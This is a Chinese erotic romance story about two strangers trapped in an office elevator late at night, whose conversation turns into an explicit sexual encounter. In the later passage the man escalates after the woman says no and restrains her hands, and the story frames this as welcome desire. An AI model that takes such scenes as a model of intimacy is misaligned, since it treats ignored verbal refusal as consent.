图片载入中

午夜诱惑之冒险(完)

特大字】 【大字】 【中字】 【小字

一。打铁要趁热,凉了再烧总是比较困难。

“等一下,帮帮忙,我这就好。”

丁涵匆忙朝着就要关上门的电梯喊了句,瞥见一只手扶在电梯门上才松了口气,她想对好心人说声谢谢,但包里的手机却使劲儿叫嚷着夺取她的注意力。丁涵弯腰一手提起电脑包顺脚跨入电梯,一边从肩膀上另外一个超大的手袋里摸索响个不停的手机,羊毛大衣挂在手肘挡着视线,让这么一件简单的事情越发艰难。 等她好不容易翻出来,却因为没有拿稳让手机直接飞了出去,掉到地上的同时铃声音嘎然而止。丁涵低声骂一句,赶紧弯腰捡起来,一缕头发碍事地掉到面前,想拨开却没手誊得出来。

“没问题。”杜安勇看着面前的女人手忙脚乱走进电梯,他不理解女人怎么会需要这么多包。对他来说,任何放不进衣服和裤子口袋的东西都不在他出门考虑的范围内。

好心人的声音厚实而轻快,丁涵忍不住用余光瞄了瞄。虽然只能看到洗得发白的牛仔裤和式样简单的沙漠鞋,但她还是感觉到好心人很高很壮,透着股沈稳朴实的味道。她一边将电脑包和手袋带子重新挂到肩膀,一边低头查看手机错过了谁的电话。果不其然是老板,丁涵长叹一口气,她知道手头正在做的案子很紧急,可这会儿已经晚上十点,该准备的东西都已经发给老板,该让她喘口气了啊。 丁涵将手机重新放回包里,焦躁得按了按底层的按钮,庆幸今天是周五,再不愉快也是最后一天,至少在周一来临之前。

电梯门轰一声关上,随之不耐烦的鸣叫声也终于停止,电梯像部老爷车似的吭哧吭哧缓慢下滑。丁涵烦躁地看着显示幕上闪烁的数字和箭头,迫不及待希望快点儿结束这灾难似的一天。忽然,老爷车好像被什么卡住似的发出一声奇怪的鸣叫,运行嘎然而止,照明灯也转瞬熄灭,电梯内陷入一片黑暗和静止中。 丁涵吓了一跳,片刻后才意识到电梯罢工。她想尖叫,也打算尖叫来着,没想到从嗓子里发出的却是笑声。她这一天还能更倒楣些么!

“太棒了,真是太棒啦!”

早上被尖锐的闹钟叫醒后,丁涵就陷入无比郁闷中,今天是她非常不愿意庆祝的生日,多大了?她连想都不愿意去想,总之不是长大一岁,而是又老了一岁! 她脸上会不会有皱纹?头发会不会枯黄?皮肤会不会松弛?最关键的,子宫会不会高声抗议?看着镜子里的自己,丁涵前所未有的危机感扑面而来。她个子不高不低,既无法矮得娇小俏皮,也无法高得窈窕修长。胸部不能说是飞机场,可也好不到哪儿去,鼻子倒是很直很挺,可挡不住鼻梁上散布好几颗雀斑。她知道她该感激和知足,毕竟她有一些非常必要的优点,比如说有个聪明的脑袋瓜,而且不是一点点那种,这世界上应该没有多少人能一口气数完五千以内所有质数。 可是那又能怎么样呢?虽然她总是在告诉自己性格比美貌重要,可此时此刻,她真的很想拿算算数的本事去换一副漂亮的D罩杯。好吧,现在说换肯定是晚了,可没个真的还不能有个假的了么!丁涵暗下决心,今年送给自己的生日礼物就是D罩杯。结果呢,早上刚到办公室就被通知一个同事临时撂担子,然后一整天全部搭在各种乱七八糟的报表中,繁忙的工作让她连自哀自怜都无暇顾及,别说好好犒劳自己,她甚至连顿饭都没挨到过嘴边。

丁涵笑得掉出眼泪,忽然想起电梯里还有好心人在身边。她赶紧止住笑,抹掉眼角的眼泪,说道:“抱歉,我不是有意的。”

好心人没搭腔。

杜安勇在电梯骤然停止时就感觉肠胃翻搅,细密的汗水从皮肤中渗出,手脚有些不听使唤。虽然经过多年的放松训练,他已经能及时调整好紧张情绪,但应付黑暗就是另外一回事儿。他下意识退到电梯角落靠牢,然后把注意力集中在自己的一唿一吸上,心里默默数着一二三四。耳边忽然传来长发女人的笑声,虽然这笑声透着一种歇斯底里,但意识到自己不是一个人时,他心里踏实了很多。 “嗨,你怎么不说话?”丁涵有些不好意思,猜测别是吓住这个好心人,以为和个疯女人关在一个电梯里。

杜安勇过了一会儿才反应过来长发女人在和他说话,他吸了口缓缓说道:“我没事儿,你呢?”

“我?谁知道呢!”

杜安勇虽然难受,但还是忍不住低声笑了笑,“今天不是很顺利啊。”

“我都倒楣好几年了。”

丁涵扇扇面前的热风,朝电梯门砸了几拳头,又大声对着门缝喊了几嗓子,然而周围一片安静,没有丝毫回应。虽然现在很晚,但这个办公楼很大而且部门众多,熬夜加班不是稀罕事儿,应该很快就会有人发现他们被困电梯里。

丁涵将包和大衣全部放在地上,揉了揉脖子和肩膀。她累极了,谁会想只是坐在电脑前也能让人感觉这么疲惫?当然,也许是因为这些日子已经够她受了。 早上她盯着衣柜发呆,非常有冲动换个风格穿衣服,但临了还是压下这股冲动,迫使自己不要去想哪一条裙子搭配哪一件上衣、哪一条丝巾、哪一双鞋子。因为丁涵早早发现,如果不想生活出意外,就得循规蹈矩、千万不能轻易改变,否则一定会酿成灾情。譬如她想换个头发造型,本以为该是柔软顺畅有波浪的那种飘逸感觉,使她看起来像一枚崭新女人,结果那卷毛猴儿脸发型师,还说得过这奖那奖,给她做出来的却完全不是那么一回事儿。

丁涵推开一缕松脱的头发,暗暗嘲笑自己的谷底究竟还能有多深,现在连最稀疏平常的事儿也保不住平淡如白水的生活。这电梯坐了两年,巧不巧刚好在生日这天坏掉!她长长叹口气,真心希望早上顺从自己的冲动,至少今天还做了点儿喜欢的事情。忽然,丁涵听到好心人那边发出悉悉簌簌的声音,接着脚踝被撞了下。她‘嗯’了声,虽然什么都看不见,却可以猜测对方坐到地上,伸腿时无意碰到了自己。丁涵纳闷他一直都很沉默,是不是性格偏于安静木讷、亦或者只是讨厌自己的歇斯底里。

“对不起,我没看见。”好心人终于再次出声。

“没关系,这会儿就是想看见也看不见啊,瞧这黑的,真正伸手不见五指呢!” 丁涵让语调尽量轻松些,就像起初听见他说‘没问题’一样,然而换来的却是好心人嗓子里艰难的哼哼声。

“帮帮忙,别提‘黑’好么!我……我不是很舒服。”

丁涵顿时明白过来,“啊,幽闭恐惧症?”

好心人没有回答,但可以听见他又哼了一嗓子。

丁涵赶紧接着说:“这其实很常见,世界上每八个人,就有一个人会有不同程度的症状。”

杜安勇有些不安,“抱歉,我知道这不是你最开心的一天。”

“没关系,我喜欢看见男人显露脆弱的一面,尤其你这种高大强壮型,让人觉得更容易接近。”

高大强壮?杜安勇觉得这种说法很是好笑,他低声道:“一会儿就好,我办得到。”

你办得到才怪,丁涵暗暗嘀咕。她清清嗓子,试探地问道:“嗯,我在想,要不要和我聊聊天?这样能转移你的注意力。”

“杜安勇。”杜安勇几乎有些迫不及待地介绍自己,他不喜欢两人陷入沉默,真心希望听见长发女人能继续说下去,什么都好。

“丁涵。”虽然看不到她,但杜安勇感觉到丁涵回答里的笑意。

丁涵摸索着手提袋,然后拿出自己的手机,虽然知道一点儿信号也没有,但真正看着了还是禁不住有些失望。她打开手电筒功能,摸索着墙上的一堆按钮按了又按,暗想这种电梯不该有个应急灯么?很神奇的,果然一盏微弱的奶黄色灯光发出光亮。

丁涵吹了吹额前的头发,道:“聊胜于无,这样会不会好些?”

杜安勇很是感激,同时又对自己的状态万分气恼。他是男人,该帮忙、安慰的一方是他才对,可他却像个白痴坐在那里让丁涵忙前忙后。借着黯淡的灯光,他看向丁涵的方向,问道:“我们也不知道要在这里困多久。有人会发现你还没出现在该出现的地方么?”

丁涵摇摇头说没有,也在电梯另一角坐下来。“本来和沙发、红酒有个很重要的约会,现在看来肯定得改时间了。你呢?有人等你么?”

“没有,就一个人。”杜安勇有些惊讶丁涵这么漂亮的女人竟然仍单身。当然,是否单身对一场单纯的闲扯而言并非必要条件,但能弄清楚总是比较好。他想了想继续问道:“你做什么的?”

丁涵呵呵笑出声,“我们在玩一问一答游戏么?限定话题范围么?”

“没关系,说到哪儿算哪儿吧。”

丁涵点点头,“我是个税务会计,毕业后先给公司想方设法避税减税,现在嘛,帮法院使劲儿找公司的偷税漏税。嗨,我这么说是不是显得不那么无聊枯燥啊?”

杜安勇问道:“无聊枯燥么?你怎么会去学这个专业呢?”

丁涵耸耸肩,“我从小就对数字着迷吧,所以就挑了个最容易的学。”接着又抗议道:“嗨,该轮你了。”

“我?每天不是在种水果,就是给超市送水果。”杜安勇第一次庆幸身处黑暗的空间,既可以隐藏自己的不安,又看不到对方失望的表情。

丁涵‘嗯’了一声也没继续问下去,而是换了话题继续问道:“你哪儿人?” 啊,没错,杜安勇心里有些苦涩。丁涵很聪明,一猜就知道他是个外地打工仔。

没想到他刚道出地名丁涵就笑了,“啊,隔壁餐厅卖的蛋炒饭你尝过么?味道正宗不正宗?我经常去吃呢。”说着她好像想起什么,又在包里摸索了一会儿,拿出一瓶纯净水、几袋曲奇饼和巧克力棒,递到杜安勇面前。

杜安勇摇头表示不要,却架不住丁涵的坚持,“我怎么可能坐你面前一个人大吃大喝呢?就当是陪我啊。”

看着杜安勇终于接受下来,打开包装咬进嘴里,丁涵这才含笑说道:“别小看零食,今儿算帐累得头晕眼花,幸亏这些存货撑着,我才没死翘翘。”

丁涵喝了一口水,接着说:“对了,你怎么会这个点儿困在电梯的?”

杜安勇停下咀嚼,小心说道:“我来健身房锻炼。说来也巧,今儿是头一次用这电梯,没想到就被困住了。”

“哇,高大强壮也是来之不易啊!”丁涵由衷赞道。

这是丁涵第二次提到这个词儿,杜安勇竟然有些喜欢。他坦率回应道:“你很漂亮。”

出乎意料的赞美让丁涵微微一缩。今天不是她最佳状态,就算是,她也从来算不上美人,更不会有什么人被她迷得神魂颠倒。“哦,我——”

“你多大年龄?”杜安勇没等她说完,打断她继续问道。

丁涵闻言呛得将水喷了一身,“讨厌!看你做的好事,哪有像你这么问问题的,想挨揍不是?”

杜安勇倒是从容淡然,“你说过对数字着迷,想来应该不介意分享这个。” 丁涵‘哼’了一声,又长叹道:“你还不如问我体重呢,好吧,我二十七了。” “瞧,没那么难么。”杜安勇语气轻松,“我二十九。”

“该我了,你的平均值是多长时间?”丁涵反守为攻。

杜安勇反应了一下才明白过来她的意思,惊得说不出话。

“怎么了,蛋炒饭?”丁涵向前倾身,虽然看不清楚,但她能想像杜安勇瞠目结舌的表情。她呵呵笑起来,口气无辜地说道:“我们不是在比赛谁的数字更尴尬么?”

杜安勇的脸庞闪过某种思绪,“这是你二十七还单身的原因么?”

丁涵偏偏脑袋,想了想说道:“有可能,我想表现得随和自在,可惜好像很容易装过头。”她停顿一下,“你又为什么单身呢,你的前一任如何?你喜欢她哪儿?”

杜安勇不喜欢谈论这个话题,然而听着丁涵直率的语气,一时间‘拒绝’的词竟然卡在喉咙里说不出来。最关键的,他想知道丁涵的生活又是一副怎样的情形,那势必先要自己有个交代才行。杜安勇闭上眼睛,过往种种浮现眼前,好一会儿才开口道:“她是我老乡,和我在同一家超市打工。她很漂亮、很聪明,唱歌非常好听——”

丁涵不以为意打断他,“得啦,只要你不停换角度去看,全世界的女人都聪明温柔美丽善良。我问的是她为你做了什么让你喜欢她。”

“我们聊天,她很健谈,两人好像有说不完的话。”

丁涵继续摇头否定,语气忍不住有些刻薄,“这个不算,聊天属于相互活动,她花时间陪你没错,可你也同时在陪着她啊。”

杜安勇犹豫一下,“她……她在我生日时,送给我一块蛋糕。”

丁涵咧嘴微笑,‘嗯’一声鼓励他继续往下说,等了一会儿才意识到杜安勇已经说完,她感到有些不可思议。

“完了?就这样?这样也行?”丁涵毫不掩盖语气里的沮丧,暗想活该自己单身至今。原来买一个蛋糕、点几根蜡烛就可以让男人迷得神魂颠倒、爱得死去活来,这都什么世道啊,她竟然还一心想着在胸口划两刀才能讨男人欢心呢。 “你和她为什么没有撑下来?”

杜安勇显出一丝防备,“你干嘛想知道那么清楚?”

丁涵急了,“我不是一直没有时间、也没机会学习么,所以现在、此刻就要问明白啊,这叫以儆效尤。”

杜安勇陷入沉默,仿佛感受到丁涵认真好奇的目光。他叹了一口气,终于说道:“我一个外地来打工的,能指望什么?”

虽然感觉到杜安勇的不自在,但丁涵并不买帐,“她也是外地来打工的啊,如果嫌弃你,一开始就不会和你在一起。这不是原因。发生了什么?”

杜安勇压下沮丧,回答道:“她认识了一个医生……”他不想再说下去,也用不着再说下去。

丁涵点点头,接话道:“你对她一见钟情,爱她到骨子里、吞进肚子里,使劲儿巴结她、讨好她,就像中了邪似的全身心地扑在她身上。不对,应该是掏心挖肺捧到她面前——”

杜安勇虽然心情阴郁,但听着丁涵夸张的描述,终于忍不住打断,“行了,你当写言情剧本呢。”

丁涵呵呵轻笑,“好吧,简单版本是你和她恋爱,付出真心真情。但是,当她遇见更好的选择,就一脚把你踹了,对吧?”

杜安勇直直看向丁涵那张迷人的脸庞,虽然室内灯光暗淡,但他仿佛看到一双黑眸闪烁着促狭和聪慧。接着,毫无预警的,他脑里浮现另外一个女人朝他吼叫的景象,充满愤怒、不耐和苦涩。不,不能回忆她的事。杜安勇晃了晃脑袋,将那个女人的记忆赶出脑海。

仿佛感觉到杜安勇沉重的心情,丁涵明白面前这个男人还没走出前女友的感情纠葛中。她抿紧嘴巴,不想戳破他的心事,否则会影响两人刚刚建立起来的熟悉和友善。

“对不起,我不该那么说。”

杜安勇用一副并不在意的语气说道:“没事儿,早过去了。”

丁涵松口气,原本以为自己这个大嘴巴说错了话。她鼓起勇气继续道:“那就好,我太婆曾经说,人这辈子就几十年而已,所以最重要的是满足自己,不是讨好别人。你女友撇下你奔向更好的生活没什么错,关键是你也要学她一样,往前看、往前走,别沈迷于过去,其实一切没那么糟,说不定还更好。”

杜安勇有些意外丁涵竟然给他来了这么一场直接坦率的解劝,他呵呵笑了两声,清清嗓子道:“你从没经历过难堪和伤心,对吗?你是个单纯可爱的姑娘。” 丁涵捂着嘴打了个哈欠,语气恹恹的。“我顶讨厌被形容成可爱,听起来像是只京巴蹭在脚边等着让人瘙痒似的。”

“你经常听人这么说?”

丁涵抱住自己的膝盖,头枕在上面,半眯着眼哼哼着:“可不么,就好像哑巴夏天穿毛衣似的,全身发痒、有苦难言。”

“嗯?不是吃黄连么?”

丁涵停了一会儿,才打起精神缓缓道:“该与时俱进了,这年月谁吃过黄连啊!”

杜安勇往墙后靠了靠,两手抱胸思忖着自己竟然和一个女孩子吃着零食,天南地北聊了一阵子,那感觉陌生而古怪,却很是高兴。他忽然冒出个念头,和前女友在一起时,他总要小心翼翼,怕她对生活不满,怕她抱怨牢骚。可也许维系男女关系不该是艰难的事,也许原该是这样——友善的关系、以及舒适自在的陪伴。这念头让杜安勇觉得有些可笑,他抬腕儿看看表,竟然已经在电梯里困了一个多小时,他的异想天开一定是头晕脑胀造成的。再看丁涵,也一副撑不住、仿佛随时都能睡着的样子。事实上,她的眼睛已经闭上,坐在那里颠倒摇晃。 丁涵有些不好意思,揉揉脖子和眼睛。“我是不是快倒下去了。”

杜安勇摇摇头,犹豫了一下,到底还是开口道:“你要不要靠过来眯一会儿,能稍微舒服些?”

丁涵笑了,“我还以为你永远不会提呢?”

她直起身体,借着微弱灯光来到杜安勇身边。两人靠得很近,她可以感觉到他身体的热度,闻到他身上的味道。这味道非常独特,让丁涵禁不住思索是什么原因使男人跟女人的味道如此不同?睾丸酮?毛发?汗腺?不管怎么样,那味道感觉真好,甚至有些诱人。她抬起头,发现杜安勇正以一种专注但奇怪的表情观察她,并不是很严厉的样子,可也没有笑容。棱角分明的面庞被昏暗的灯光勾勒出清晰的角度和阴影,让他看上去既诱惑又危险。

“有什么不对吗?”她低声问。

看着丁涵闪亮的黑眸朝他眨了眨,杜安勇有些慌张,好像一下失去了平衡。 “没有。”

“可是你的表情——”

“别提了,睡一会儿啦!”

丁涵撇撇嘴角再次打个哈欠,脑袋耷拉到杜安勇肩头,很快就昏昏沈沈睡过去。杜安勇想了想,伸出胳膊搂住丁涵的肩膀固定住她。丁涵的头深深埋入他的颈间,秀发飞散在他胸前,让他忍不住张开一只手按在凌乱的发丝上,小小的动作带给他一种莫名的喜悦。

不知过了多久,丁涵猛地睁开眼睛,发现杜安勇环着自己,大手充满占有欲地握住她的肩膀,牢牢揽着她的身体在他怀中,整个人似乎完全笼罩着她。 丁涵有些不好意思,“我睡了多长时间?”

“大概半个小时吧,我也是醒醒睡睡。”

两个人已经困在电梯里这么长时间,丁涵有些担心,“你还好?”

“还好,尤其是看你流口水、打唿噜。”

“讨厌,我可真会打你的。”丁涵笑骂着挣脱出他的怀抱,一个劲儿说着不可能,却也忍不住伸手擦擦嘴角,担心自己真出了洋相。

杜安勇有些遗憾少了丁涵在身边,看她坐起身体从口袋里拿出一条发带,熟练地将黑色长发绾起扎成一条马尾,接着又拿了些零食和水瓶坐回到他身边。 杜安勇很是高兴,他没有要零食,而是接过水瓶,仰着脖子小心避开瓶口,喝了几口递还给她。

“我们刚才说到哪儿了?”丁涵边舒筋骨边问。

杜安勇若有所思看着她,这会儿的他们,眼睛已经完全适应了幽暗的环境,将对方看得清清楚楚。“我记得没错的话,该轮你谈你的前男友了。”

丁涵畏缩一下,“杜先生,你真是开门见山啊。”

杜安勇看起来一点儿也不惊讶,“我看不出有任何虚于委蛇的必要。打铁要趁热,凉了再烧总是比较困难。”

丁涵打了个哈哈,立刻界面道:“可不,放火要有风。”

杜安勇看她一眼,让她知道他注意到她回避了这个问题。“你如果不想提,那就说说你为什么单身?要求很高么?”

丁涵愣了愣,勉强挤出一抹微笑。“很多人这么说,不过我的解释是自己太过谨慎,不喜欢冒险,尤其是涉及男人。”

杜安勇暗笑,“嗯?”

“胆小吧,凡事总是先想到不要让自己置身于脆弱可欺的境地。”丁涵想了想,继续解释道:“这可能我成长过程缺失父爱的结果。”

杜安勇觉得有些诧异,“你怕什么呢?”

“我怕做错事,怕找错对象;怕再好的感觉也不过是错觉,怕把自己的生活搞得一团糟,因为这样我会后悔一辈子。即使真想去改变,也会把我折腾个半死。我不想做这种傻事,所以宁可选择忽略和逃避,什么事儿也不做,既不做错事,又不做正确的事。”

杜安勇点点头表示理解,问道:“你父亲发生了什么?”

“他们离婚了,那年我七岁。”

杜安勇有些意外,可他并不擅长安慰人,只能说:“我很抱歉,想像的来你一定非常伤心。”

丁涵摇摇头,表示并不介意。

杜安勇沉默了一会儿,忽然说道:“我那年也是七岁。”

丁涵抬起头,等着他继续。

杜安勇吸了口气,“我爸脾气不好,妈为了保护我,把我锁到大衣柜里。她进了医院,隔天醒过来了才能说话。”

杜安勇话语中的冷漠和平静透露出许多讯息,丁涵也明白过来。黑暗窒息的环境、狭小封闭的空间、再加上父亲拳脚相加、母亲惨叫痛哭的声音,她想像不出一个七岁的小男孩儿是如何经历那可怕的一天,怪不得他会有幽闭恐惧。一时间丁涵母性大发,不由自主靠近杜安勇,想拉住他表示安慰。没想到杜安勇僵硬得好像一块儿石头,丁涵的碰触让他吓了一跳,本能得圈住身体,向后缩了缩。 丁涵并没有因他的抗拒而退后,相反,她找到他的手使劲儿握住他。

杜安勇静静坐着,闭上双眼感受从丁涵身上散发出的体热与力量,她的手指顺着胳膊落到他的脸庞,缓缓抚过面颊,然后伸进耳朵后稀疏的黑发中。她并没有停留,而是移动手指,梳过他的头发,然后再梳一遍。杜安勇忍不住伸出臂膀再次抱住丁涵,缓慢将她的秀发同样握在手中,缠绕在指间。

丁涵身上散发出数种混合但迷人的花香,一种属于她而且只有她才拥有的香味,那细腻清爽的芬芳捕捉住杜安勇,加上浑圆的臀部靠在他腿侧的感觉,在他身上引发一连串不合时宜的反应,对她强烈的饥渴在耳际轰然作响,令他双眉紧蹙、下颚收紧。杜安勇知道他必须把这种情绪留在安全的范围内,但是他挡不住,虽然两人认识只有短短几个小时,可越了解丁涵,杜安勇越想亲近她。

杜安勇睁开眼睛,用火辣辣的黑眼睛盯住丁涵。他想吻她,这股冲动来得既突然又强烈,让他不由自主弯下身子。然而,他在距离她的脸孔仅仅数寸之遥时停了下来,一动不动,只是注视着她,那表情深不可测,好像藏着太多等待释放的热情。似乎意识到自己的目光太放肆,他清了清喉咙,问道:“你还是没有回答问题,你知道,关于你对男人的高要求。”

丁涵完全不知道自己在做什么,上一刻她的接近还只是单纯的安慰,下一刻就感觉到一种深沈有力的渴望在她体内搅动。当杜安勇抱住她时,丁涵紧张极了,尤其是他身体散发出的热度,好像穿透她的四肢百骸,而那股浓郁的男人气味更是熏得她头晕目眩。在杜安勇灼热的目光下,丁涵只觉得浑身发热、胸部胀痛。 过去也有别的男人曾凝视她,她一向迫不及待逃避他们的色眼,从来不曾像现在这样害羞、还有更多的兴奋。

丁涵知道她要立刻做一个重大决定,这个决定冒险至极,换身衣服、改个发型与其相比不足一提。她可以应付数位,可以讲究事实,也总是知道任何状况发生的底线,但对于此时此刻,她没有丝毫把握,更不用说是否可以全身而退,她的人生从未如此疯狂。可那又怎样,丁涵内心大声叫喊着——你又没有任何实际经验,当然不能凭空判断。毕竟,要是不能敞开心胸接受新经验,又如何开拓新生活?今晚,只有今晚,她要沈溺于这种冒险中,明知故犯让自己进入未知世界。 丁涵舔舔嘴唇,紧张得手脚冰冷,又尴尬得不知该如何启齿,“我…我不知道…其实也没多高,总之不比一个生日蛋糕来的复杂,就是…嗯…‘嘿,这里有点儿冷,穿上我的外套吧!’那种男人。”

“嗯?这么简单?”杜安勇举起手来,将她脑后松垂的一缕发丝塞回她耳后。 “我也只想要这样,”丁涵脸颊滚烫,继续说道:“真来个爱得掏心挖肺、死去活来的,我也应付不来。”

杜安勇抓住她的手,说道:“丁涵,我……”

他没有说完,她也没有要求他说完。

杜安勇眼眸迷蒙起来,瞬间眸光又变得饥渴。他的拇指拂过丁涵的唇线,她的唇颤颤分开。杜安勇慢慢低下头,低到他的唇只离一寸的地方。

他就要吻她了!

丁涵略转过头,杜安勇只碰到她的脸颊。

“烦了?”杜安勇掩饰不住失望。

“不是,”丁涵垂下眼帘,有些局促。“我知道现在说这个恐怕为时已晚,但我,我平常真不是这样的,我的意思是——”

“你在暗示我魅力无穷么?”

丁涵紧张地笑笑,没理会他言语中的戏嚯。“我…我不太知道怎么做…” 杜安勇捧住她的脸颊,只觉得掌心下的肌肤嫩得像玫瑰花瓣。他语音沙哑地保证:“丁涵,我不会做任何你不希望我做的事。”

丁涵的心脏跳得很快,全身的血液好像在血管里奔流。她双眼半闭,探身迎向他。杜安勇托起她的下巴,动作出乎意料的温柔,要不是他紧紧抱着她,丁涵肯定已经退开。她朦朦胧胧暗自庆幸杜安勇的‘经验丰富’,坐在在冰冷坚硬的地板上,按理她该很不舒服才是,但杜安勇却让她能够放下矜持,微启双唇兴奋的期待。她甚至觉得,义无反顾又有何妨?

杜安勇的唇轻轻落在她唇角,又稍微往后仰了一些,逗弄着轻轻咬住她的上唇,接着是下唇,又转向她的下巴、脸颊。他感觉起来很柔软,然而暗示却很坚定。丁涵在他温柔的亲吻中逐渐放松下来,双手贴到他宽厚的胸膛,感受他剧烈起伏的心跳,还有唿呵在肌肤上的热气,她好像尝到他刚刚喝过的健身饮料,还有其他…某种甜美的东西。

“杜安勇,我——”丁涵被亲得脖子酥软,似乎连自己的头都撑不起来。 “嘘!”他倾下脑袋轻咬她的耳垂,又来到喉咙优美的曲线,“待会儿再说话,现在我只想亲你。”

杜安勇一只大手插入她的头发里,撑着她的头,同时不慌不忙重重吻回她的双唇,舌尖触碰,舌头深入她嘴中,甜美的汁液融化她的骨头,把她的五脏六腑化成棉花糖。丁涵差点呻吟起来,在喉咙发出声音之前,她强行抽开了自己的嘴,把脸埋在他肩上。杜安勇趁机腰上稍微使劲儿抱起她,让丁跪坐在自己大腿间,然后又抓住她脑后蓬松的长发,把她的头往后仰,滚烫的唇落在她耳下,舌尖沿着细细的血管一路下行,刺激着她极其敏感的神经。丁涵犯了毒瘾一般发抖,全靠杜安勇贴在身上的压力支撑着才没坍塌下去。她收紧臂膀环住他的脖子,指甲戳进他的衣服里,弓身更加贴近。

杜安勇吮吸着丁涵,舌头温柔地探寻,手指滑到丁涵肩上,拇指抚摸着锁骨,在那里逗留片刻后,手掌向下缓缓探索她的玲珑曲线,轻擦过乳房下侧,熟练摆弄了两下,紧绷的西装外套就被解开。他的手掌隔着衬衫按压到高耸的胸部,手指挑逗地揉弄,感觉到两颗蓓蕾挺立起来。

丁涵低头看着胸前大手揉捏着自己,杜安勇掌心的热度和力量透过质地细腻柔滑的丝绸衬衫传送到她体内、刺痛乳房,让她心慌意乱、燥热难耐。她再也忍不住,嗓子里发出奇怪模煳又压抑的声音。那声音令她羞愧不已,但是她没有真的挣扎。

“你想要,对吧?你会得到你想要的。”杜安勇在她耳畔低声承诺。

仿佛感觉到丁涵的兴奋和需要,他的吻越来越密集。丁涵似乎被吻得喘不过气来,脑袋只能再次后仰,想要争取往肺里吸进一些氧气。杜安勇抓住机会沿路来到敏感的肩颈交接处,一边细细啃咬,一边轻轻吸吮,充满饥渴和需要。他快速脱掉丁涵的外套扔到一边,然后紧紧抓着衬衫,把下摆从裙子中扯了出来,珍珠纽扣被一颗颗打开,再被拨到身体两侧,杜安勇以极大的乐趣听丁涵迅速吸入一口气。

“不要……这不好……”丁涵心跳得厉害,唿吸卡在喉咙里说不出完整句子。 她知道应该遮住自己,或者将他推开,但她的手不知何故还缠在他的头发里。一部分心智——遥远而极小的一部分——正为此事居然发生在她身上而惊骇不解,她怎么会坐在黑暗中,任由一个陌生男人剥光她的衣服,肆无忌惮亲吻她,而她不只任由他一意孤行,甚至还热切的回应。

丁涵娇小嫩白的乳房轮廓清晰可见,杜安勇这辈子还没见过比这更诱惑的景象。他的食指从她喉咙底部开始,缓慢滑到精致的刺绣内衣,停留在双乳之间,抚弄柔软白皙的轮廓,以及隐藏在内衣下已经被他挑逗起来的乳尖。

“不好?”杜安勇哑声说道:“我对你还不够呢。”

他的手滑入内衣背后,手指勾住搭扣,灵巧地打开然后向下拉扯。两颗丰盈的乳房显露出来,等不及向他炫耀。丁涵吓了一跳,仿佛这才发现自己竟然允许了什么。她伸出手想遮住胸部,但杜安勇抓住她的手,而另一只手来到裸露的乳房,拇指划过乳尖,在灵巧的抚触下更加紧绷高耸。

丁涵喘息不断,再次推拒他的手腕,却显得虚软无力,美妙的感受让她膝盖虚软,渴望被他爱抚的感受击溃了她的谨慎。她没有办法看杜安勇脸上胜利的表情,更不知如何出声阻止。丁涵像睡梦中的婴儿般柔若无骨,只不过她没有睡着,而是清醒着,如此鲜亮,充满前所未有的活力。

杜安勇不再受任何抗拒的拘束,他的吻从丁涵的嘴唇移开,洒遍她的锁骨,然后来到她的胸。他举高她的身体,将唇印上她胸部的正中心,听到她的心脏正以猛烈的节奏跳跃。杜安勇的胳膊支撑着她弓起的背部,而嘴唇则探索地向下滑到她丰盈的乳峰。他把她拉向自己,舌头刷过顶峰,直到蓓蕾变得潮湿而更加坚挺。

“杜安勇——”丁涵的神经好像炸开似的,“你说你只想亲我。”

杜安勇松开嘴,抚慰地低喃,“对,没错。”

“你把这叫亲吻?”

杜安勇松开嘴却并没有回答,只是手掌快速覆上她的乳房,拇指描摹滚烫的肌肤,以及那颗湿润的蓓蕾。他偏了偏脑袋,张嘴覆住另一颗蓓蕾吸吮,没一会儿就开始大口咬噬,手上的劲儿也越使越大。

丁涵的反应是细声尖叫,指甲掐入他的肩膀,为他亲密大胆的举动震惊,更为身体里无法言传的快感而惊讶。她知道杜安勇也被同样的需要折磨——她能听到他剧烈的心跳,他俩每一次唿吸都气喘吁吁,可他显得比她更能驾驭住自己,动作虽然狂烈,却也保持着谨慎节制。丁涵却有些失控,手指胡乱抓扯着他的外套——太多的衣服,到处都是。她需要感觉他的肌肤紧贴着她,都快发疯了。 杜安勇没想到她这么敏感,反应这么强烈——他的吻变得安抚起来,手掌移到她背部,轻扶着让她平静。然而他越想舒缓她的渴望,就越适得其反。

“让我来。”杜安勇握住她的大腿向内侧移动,然而及膝的一字裙阻止他的手继续向上。

丁涵的眼睛飞快张开,“你知道这是在干什么?我们这样好么?”

杜安勇不知道丁涵在说什么,或者在问什么,也没有兴趣知道。这一刻他有别的事情要做。他伸手摸索着腰寻找裙子的拉链开口,打开后将裙?拉起撩至腰际。他再次抱住丁涵,分开她的双腿,让她跨骑在他腿上。

“放松,宝贝儿。”杜安勇抵着她的脸耳语道:“别动。”

说完,杜安勇抬起膝盖往上顶,使她张开身体迎接他的触摸,粗糙的手掌沿着她的腿,终于进入内裤里,热热的手掌捧着她的臀部一会儿,然后向下,覆盖住温暖潮湿的核心,温柔而缓慢地探索,先是分开柔软而甜蜜的唇瓣,接着手指进入紧闭的皱褶内揉弄,小心地转圈、逗弄、轻扯和挤压。

“什——什么?”

丁涵的声音软弱无力,杜安勇的声音听起来遥不可及。迷惑、惊讶、还有女性的臆测,混淆在一起,让她不知所措、全身战栗。她双手紧紧扣住杜安勇的肩膀,全部注意力都集中在他手上,那种感受远远超过震撼。丁涵嗓间的呻吟变得嘶哑,不自觉放弃所有该坚守的伪装,扭动着臀部拱起身体迎向他探索的手指,完全向他放开。她早就盼着这一刻,渴求这一刻了。

“你湿得都快氾滥了。”

杜安勇吻住她,缓缓伸入一根手指,逐渐推进、再推进。丁涵细滑的手熘入他的衣领中,扣住他脖子,指甲嵌入后面的肌肤,他知道第二天会在那儿发现痕迹,这个想法令他兴奋不已。杜安勇凑上前亲吻她的喉咙与胸脯,又加入第二根手指,爱抚越来越深,力道逐渐加重,直到丁涵弓身仰头,体内爆发有节奏的颤抖和紧缩,在她眼中闪动的情绪令他神魂颠倒。

丁涵完全沈浸在他所给与她的愉悦中,心中充满强烈的冲动和欲望,浑然忘我享受着——不记得时间、地点,甚至她是谁,只知道此时此刻她需要抓住某种感觉。丁涵双腿夹住他,身子使劲儿沈在他的手中希望靠得更近,同时随着他的节奏痉挛、扭动,狂乱地搜寻更多接触、向他所求更多。直到那一刻来临,丁涵就像被闪电击中般剧烈痉挛。她张开嘴发出尖叫,思绪被抛入一种奇特的悬浮状态。

片刻,杜安勇的嘴唇缓缓移动到丁涵耳边,语气轻松地问道:“嗯,蛋炒饭把你伺候得还好?”

